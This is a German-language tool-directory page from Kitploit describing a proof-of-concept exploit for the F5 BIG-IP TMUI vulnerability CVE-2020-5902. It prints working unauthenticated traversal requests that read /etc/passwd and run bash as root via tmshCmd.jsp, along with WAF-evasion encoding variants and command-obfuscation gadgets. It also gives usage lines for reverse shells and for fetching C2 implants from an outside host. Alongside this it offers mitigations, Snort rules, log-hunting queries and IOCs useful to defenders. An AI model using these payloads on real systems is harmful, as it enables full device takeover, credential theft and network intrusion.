Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
F5-BIG-IP — F5 BIG-IP ist eine Plattform für Anwendungsbereitstellung und -sicherheit, die in Unternehmensumgebungen weit verbreitet ist. Die CVE-2020-5902 ist eine kritische Schwachstelle im TMUI, die in nicht gepatchten Versionen unbefugten Zugriff und Remote-Code-Ausführung ermöglichen kann, was die Notwendigkeit von Aktualisierungen und kontinuierlichem Schwachstellenmanagement unterstreicht. | Kitploit
Tools/GitHubGitHub/devrafaelprogrammer/f5-big-ip
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlLernen & BildungRed TeamingPayload-Entwicklung
GitHub
devrafaelprogrammer/f5-big-ip

F5-BIG-IP

Repository anzeigen
3vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

F5 BIG-IP ist eine Plattform für Anwendungsbereitstellung und -sicherheit, die in Unternehmensumgebungen weit verbreitet ist. Die CVE-2020-5902 ist eine kritische Schwachstelle im TMUI, die in nicht gepatchten Versionen unbefugten Zugriff und Remote-Code-Ausführung ermöglichen kann, was die Notwendigkeit von Aktualisierungen und kontinuierlichem Schwachstellenmanagement unterstreicht.

Teilen

CVE-2020-5902 — F5 BIG-IP TMUI RCE

Proof-of-Concept-Exploit für die kritische Path-Traversal-/Remote-Codeausführungs-Schwachstelle in F5 BIG-IPs Traffic Management User Interface (TMUI).

⚠️ Nur für autorisierte Penetrationstests und Sicherheitsforschung. Der unbefugte Einsatz gegen Systeme, die einem nicht gehören oder für die keine schriftliche Genehmigung zum Testen vorliegt, ist illegal. Der Autor übernimmt keine Haftung für den Missbrauch dieses Tools.


Inhaltsverzeichnis

  • Hintergrund
  • Schwachstellenanalyse
  • Technische Tiefenanalyse
  • Betroffene Versionen
  • Funktionen
  • Installation
  • Verwendung
  • Abwehrmaßnahmen
  • Erkennung & Bedrohungssuche
  • Zeitplan
  • Referenzen
  • Haftungsausschluss

  • Hintergrund

    F5 BIG-IP ist eine Familie vielseitiger Netzwerkgeräte (Load Balancer, WAFs, Application Delivery Controller), die weltweit in der Mehrheit der Fortune-500-Unternehmen, Finanzinstitute, Gesundheitsorganisationen und Regierungsbehörden eingesetzt wird. Das Traffic Management User Interface (TMUI) — auch als Konfigurationsprogramm bezeichnet — ist das webbasierte Verwaltungsportal, das über Port 443 (oder 8443) erreichbar ist.

    Im Juli 2020 legte F5 CVE-2020-5902 offen, eine kritische (CVSS 9.8) Path-Traversal-Schwachstelle ohne Authentifizierung im TMUI, die es einem entfernten, nicht authentifizierten Angreifer ermöglicht:

    • Beliebige Dateien vom zugrunde liegenden Linux-System zu lesen (LFI)
    • Beliebige Betriebssystembefehle als root auszuführen (RCE)
    • Das Gerät vollständig zu kompromittieren und in interne Netzwerke zu pivotieren

    Innerhalb von Tagen nach der öffentlichen Offenlegung wurde eine massenhafte Ausnutzung in freier Wildbahn beobachtet, unter anderem durch staatlich geförderte Akteure.


    Schwachstellenanalyse

    Grundursache

    Das TMUI basiert auf Apache Tomcat und verwendet einen Servlet-Filter, um die Authentifizierung für geschützte Ressourcen durchzusetzen. Die Schwachstelle liegt in der Art und Weise, wie Tomcat durch Semikolon getrennte Pfadsegmente (;) parst.

    Die folgende Anfrage umgeht die Authentifizierung vollständig:

    root@kitploit:~
    GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
    

    Warum es funktioniert:

    1. Der Tomcat-Servlet-Filter sieht den Pfad als /tmui/login.jsp (endet vor ;) — also die öffentliche Anmeldeseite — und erlaubt die Anfrage.
    2. Der URL-Resolver von Tomcat verarbeitet dann /..;/ als Path Traversal (/../), bevor die Weiterleitung erfolgt.
    3. Die Anfrage wird letztendlich ohne Authentifizierung an das geschützte fileRead.jsp-Servlet weitergeleitet.
    root@kitploit:~
    ┌──────────────────────────────────────────────────────────────────┐
    │  Client Request                                                   │
    │  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
    └────────────────────────────┬─────────────────────────────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │    Tomcat Servlet Filter       │
                 │  Sees: /tmui/login.jsp  ✓     │
                 │  (public endpoint → ALLOW)    │
                 └───────────────┬───────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │    Tomcat URL Resolver         │
                 │  Resolves: /..;/ → /../       │
                 │  Final path: /tmui/locallb/   │
                 │  workspace/fileRead.jsp ← 🔓  │
                 └───────────────┬───────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │  fileRead.jsp (no auth check) │
                 │  Reads arbitrary files as root│
                 └───────────────────────────────┘
    

    Von LFI zu RCE

    Das tmshCmd.jsp-Servlet (ebenfalls über denselben Traversal erreichbar) übergibt die Parameter command und utilCmdArgs direkt an tmsh (die BIG-IP-Verwaltungsshell), die run util bash -c '...' kapselt. Dies ermöglicht eine Befehlsausführung im Betriebssystem mit Root-Rechten ohne Authentifizierung:

    root@kitploit:~
    POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
    command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
    

    Technische Tiefenanalyse

    Angriffsablauf

    root@kitploit:~
    Phase 1: Reconnaissance
      └─ TCP banner grab (HTTP/TLS fingerprint)
      └─ SSL certificate analysis
      └─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
      └─ BIG-IP version estimation from /etc/f5-release
    
    Phase 2: Vulnerability Check
      └─ Iterate over 6 traversal encoding variants
      └─ Test against 4 known-readable sentinel files
      └─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)
    
    Phase 3: Exploitation
      ├─ Vector A: tmshCmd.jsp (primary RCE)
      │    └─ Command obfuscated via base64 / hex-encode gadgets
      ├─ Vector B: fileRead.jsp + command injection in fileName param
      │    └─ OS command injected into the fileName parameter
      └─ Vector C: Log poisoning (User-Agent injection → read access_log)
    
    Phase 4: Post-Exploitation (optional)
      ├─ Interactive shell (command REPL)
      ├─ Reverse shell (4 concurrent one-liners)
      ├─ LFI brute-force (30 sensitive paths, parallel)
      └─ C2 implant deployment (Sliver / Metasploit / custom)
    

    Traversal-Codierungsvarianten

    VariantePayload
    Standardtmui/login.jsp/..;/tmui/...
    Codiertes Semikolontmui/login.jsp/..%3b/tmui/...
    Doppelte URL-Codierungtmui%2flogin.jsp%2f..%3b%2ftmui%2f...
    Unicode-Punkt-Punkttmui/login.jsp/%2e%2e;/tmui/...
    Groß-/KleinschreibungsvarianteTMUI/login.jsp/..;/tmui/...
    Verzeichnis-Verwechslungtmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...

    Befehlsverschleierungs-Gadgets

    Das Tool wendet pro Ausführung eines von zwei Verschleierungs-Gadgets an, was die Erkennung durch statische Signaturen erschwert:

    root@kitploit:~
    # Gadget 1 — Base64 encode/decode pipeline
    bash -c {echo,aWQ=}|{base64,-d}|bash
    
    # Gadget 2 — Hex-byte printf evaluation
    eval "$(printf '\x69\x64')"
    

    Betroffene Versionen

    BIG-IP-ZweigVerwundbarer BereichGepatchte Version
    15.x< 15.1.0.4≥ 15.1.0.4
    14.x< 14.1.2.6≥ 14.1.2.6
    13.x< 13.1.3.4≥ 13.1.3.4
    12.x< 12.1.5.2≥ 12.1.5.2
    11.x< 11.6.5.2≥ 11.6.5.2

    BIG-IQ, BIG-IQ Centralized Management, F5OS und Traffix SDC sind von dieser spezifischen CVE nicht betroffen.


    Funktionen

    • Multi-Varianten-Path-Traversal — 6 Codierungs-Permutationen zur Umgehung von WAF-/IDS-Signaturen
    • Drei unabhängige RCE-Vektoren — tmshCmd.jsp, fileRead-Injektion, Log-Vergiftung
    • Befehlsverschleierungs-Gadgets — Base64- und Hex-Codierungs-Pipelines
    • Passive Aufklärungsphase — TCP-Banner, SSL/TLS-Fingerprint, HTTP-Header-Analyse
    • Paralleler LFI-Brute-Force — 30 sensible Pfade, 10 parallele Threads
    • Parallele Reverse Shells — 4 One-Liner, die gleichzeitig ausgelöst werden
    • C2-Integration — Sliver, Metasploit, eigene Implantate (Linux/Windows/PS1)
    • Umgehungs-Header — zufällige User-Agents, IP-Spoofing-Header, Rausch-Header
    • Interaktive Shell-REPL — !revshell-, !c2-, !read-, !brute-Befehle
    • Proxy-Unterstützung — Burp-Suite-/mitmproxy-Integration

    Installation

    root@kitploit:~
    git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
    cd F5-BIG-IP
    pip install requests pycryptodome urllib3
    

    Anforderungen: Python 3.10+


    Verwendung

    root@kitploit:~
    python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                            [--cmd CMD] [--shell] [--lfi-brute]
                            [--revshell LHOST LPORT]
                            [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                            target
    

    Beispiele

    root@kitploit:~
    # 1. Vulnerability check only
    python CVE-2020-5902.py 192.168.1.100
    
    # 2. Custom port + single command execution
    python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
    
    # 3. Interactive shell
    python CVE-2020-5902.py 192.168.1.100 --shell
    
    # 4. LFI brute-force (reads 30 sensitive paths)
    python CVE-2020-5902.py 192.168.1.100 --lfi-brute
    
    # 5. Reverse shell callback
    python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
    
    # 6. Deploy a C2 implant (Sliver example)
    python CVE-2020-5902.py 192.168.1.100 \
      --c2-url http://10.0.0.1:8000/implant \
      --c2-type linux
    
    # 7. Route through Burp Suite for traffic inspection
    python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
    

    Interaktive Shell-Befehle

    Im --shell-Modus stehen folgende Sonderbefehle zur Verfügung:

    BefehlBeschreibung
    !revshell <lhost> <lport>4 Reverse-Shell-Varianten gleichzeitig abfeuern
    !c2 <url> <type> [args]Ein C2-Implantat herunterladen und ausführen
    !read <path>Eine beliebige Datei über LFI lesen
    !bruteBrute-Force auf 30 sensible Pfade
    !exitDie Sitzung beenden
    <beliebiger OS-Befehl>Über RCE ausführen und Ausgabe anzeigen

    Abwehrmaßnahmen

    Sofortige Gegenmaßnahmen (falls ein Patch noch nicht möglich ist)

    1. TMUI-Zugriff aus dem Internet blockieren

    Die mit Abstand effektivste Gegenmaßnahme besteht darin, sicherzustellen, dass die Verwaltungsoberfläche niemals aus nicht vertrauenswürdigen Netzwerken erreichbar ist:

    root@kitploit:~
    # BIG-IP: restrict management access to a dedicated VLAN/IP range
    tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
    tmsh save sys config
    

    Alternativ kann über die BIG-IP-Self-IP-Konfiguration sichergestellt werden, dass der Verwaltungsport keine externe Route besitzt.

    2. F5s offizielle Gegenmaßnahme anwenden (vor dem Patch)

    F5 hat ein Gegenmaßnahmen-Skript veröffentlicht, das eine Apache-RewriteRule hinzufügt, um das Traversal-Muster zu blockieren:

    root@kitploit:~
    # /etc/httpd/conf.d/CVE-2020-5902.conf
    RewriteEngine On
    RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
    RewriteRule ^ - [F,L]
    

    Referenz: K52145254 — Gegenmaßnahmen

    3. Patchen — Die korrigierte Version einspielen

    Die endgültige Lösung besteht darin, BIG-IP auf eine gepatchte Version zu aktualisieren (siehe Tabelle Betroffene Versionen). F5 hat die Servlet-Filterlogik korrigiert, sodass durch Semikolon getrennte Pfadsegmente nun korrekt geparst werden, bevor die Authentifizierung durchgesetzt wird.


    Abwehrmaßnahmen auf Architekturebene

    Zero-Trust-Netzwerkzugriff für Verwaltungsebenen

    root@kitploit:~
    ┌────────────────────────────────────────────────────────────────┐
    │  RECOMMENDED ARCHITECTURE                                       │
    │                                                                 │
    │  Internet ──────► Firewall ──────► DMZ / Production           │
    │                      │                                          │
    │                      │  (DENY all traffic to mgmt ports)        │
    │                      │                                          │
    │                   Jump Host ──────► BIG-IP TMUI (port 443)    │
    │                 (MFA + VPN)         (management VLAN only)     │
    └────────────────────────────────────────────────────────────────┘
    

    Wichtige Prinzipien:

    • Verwaltungsoberflächen dürfen niemals auf derselben IP/demselben Port liegen wie der Produktionsverkehr
    • Der Zugriff erfordert VPN + MFA, bevor der Jump Host erreicht wird
    • Die Portsperre der BIG-IP-Self-IP sollte auf Allow None oder Allow Defaults gesetzt werden

    Web-Application-Firewall-Regeln

    Wenn sich eine WAF vor der BIG-IP-Verwaltung befindet (ungewöhnlich, aber in manchen Architekturen möglich), sollten Regeln hinzugefügt werden, um Folgendes zu blockieren:

    • Anfragen, die ; im URL-Pfad enthalten
    • Anfragen, die ..; oder %3b in Pfadsegmenten enthalten
    • Anfragen an /tmui/locallb/workspace/ aus Nicht-Verwaltungsquellen

    Checkliste zur Sicherheitshärtung

    root@kitploit:~
    [ ] BIG-IP auf eine gepatchte Version aktualisiert
    [ ] TMUI nicht im Internet erreichbar (mit Shodan/Censys überprüfen)
    [ ] Verwaltungs-VLAN vom Produktionsnetz getrennt
    [ ] Self-IP-Portsperre konfiguriert (Allow None oder Allow Defaults)
    [ ] MFA für den Verwaltungszugriff erzwungen
    [ ] BIG-IP-Softwareinventar im Asset-Management-System
    [ ] Automatisiertes Schwachstellenscanning (Tenable/Qualys) umfasst BIG-IP
    [ ] Protokollweiterleitung an SIEM konfiguriert (access_log, audit.log)
    [ ] Netzwerksegmentierung: Ein kompromittiertes BIG-IP kann keine Domänencontroller erreichen
    [ ] Incident-Response-Playbook enthält ein Szenario für die Kompromittierung von Netzwerkgeräten
    

    Erkennung & Bedrohungssuche

    IDS/IPS-Signaturen (Snort / Suricata)

    root@kitploit:~
    # Detect path traversal attempts (semicolon bypass)
    alert http any any -> $HOME_NET 443 (
        msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
        flow:to_server,established;
        content:"tmui"; http_uri; nocase;
        content:"..;"; http_uri;
        content:"workspace"; http_uri; nocase;
        reference:cve,2020-5902;
        sid:9000001; rev:1;
    )
    
    # Detect encoded semicolon variant
    alert http any any -> $HOME_NET 443 (
        msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
        flow:to_server,established;
        content:"tmui"; http_uri; nocase;
        content:"%3b"; http_uri; nocase;
        content:"fileRead"; http_uri; nocase;
        reference:cve,2020-5902;
        sid:9000002; rev:1;
    )
    

    Apache/HTTPD-Logmuster (grep)

    root@kitploit:~
    # Hunt for traversal attempts in BIG-IP access logs
    grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
    
    # Look for successful hits to the vulnerable endpoints
    grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
      grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
    

    SIEM-Abfrage (Splunk SPL)

    root@kitploit:~
    index=network sourcetype=f5:bigip:access
      (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
      (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
    | eval risk=if(status=200, "HIGH", "MEDIUM")
    | stats count by src_ip, uri_path, status, risk
    | sort -count
    

    Indikatoren für eine Kompromittierung (IOCs)

    URL-Muster:

    root@kitploit:~
    /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
    /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
    /tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
    /tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
    

    Häufige Angreiferziele (zugegriffene Dateien):

    root@kitploit:~
    /etc/passwd                  — Ernten von Zugangsdaten
    /config/bigip.conf           — Exfiltration der VPN-/Routing-Konfiguration
    /config/bigip.license        — Diebstahl des Lizenzschlüssels
    /config/bigip_user.conf      — Aufzählung lokaler Administratorkonten
    /root/.bash_history          — Aufklärung des Befehlsverlaufs
    

    Zeitplan

    DatumEreignis
    2020-06-30F5 wurde privat informiert
    2020-07-01F5 veröffentlicht Advisory (K52145254) und Patches
    2020-07-03Öffentlicher PoC auf Twitter veröffentlicht
    2020-07-04Massenhafte Ausnutzung von mehreren Threat-Intelligence-Unternehmen beobachtet
    2020-07-06CISA erlässt die Notfallanweisung 20-03, die das Patchen für Bundesbehörden vorschreibt
    2020-07-09Staatlich geförderte Akteure (APT) bestätigten die Ausnutzung in freier Wildbahn
    2020-07-15Etwa 8.000 BIG-IP-Instanzen weiterhin ungepatcht (Shodan)
    2020-08-xxRansomware-Gruppen beginnen, ungepatchte BIG-IP-Geräte ins Visier zu nehmen

    Referenzen

    • NVD — CVE-2020-5902
    • F5-Sicherheitsadvisory K52145254
    • CISA-Notfallanweisung 20-03
    • Rapid7-Analyse
    • BleepingComputer-Berichterstattung
    • Shodan-Abfrage: http.title:"BIG-IP" port:443

    Haftungsausschluss

    Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitsbewertungen bereitgestellt. Es ist gedacht für:

    • Penetrationstester mit schriftlicher Genehmigung des Eigentümers des Assets
    • Sicherheitsforscher, die die Schwachstelle in Laborumgebungen untersuchen
    • Verteidiger, die Erkennungssignaturen und Härtungskonfigurationen erstellen
    • Teilnehmer von CTF-Wettbewerben (Capture the Flag)

    Die Verwendung dieses Tools gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist eine Straftat gemäß dem Computer Fraud and Abuse Act (CFAA), dem britischen Computer Misuse Act, dem brasilianischen Gesetz Lei Nº 12.737/2012 (Lei Carolina Dieckmann) und vergleichbaren Gesetzen in den meisten Rechtsordnungen weltweit.

    Der Autor und die Mitwirkenden dieses Repositorys übernehmen keine Verantwortung für jegliche Schäden, rechtliche Konsequenzen oder sonstigen Schaden, die aus dem Missbrauch dieser Software entstehen.


    Für die Sicherheitsforschungs-Community erstellt. Patcht eure Systeme. Schützt eure Netzwerke.

    Tool herunterladen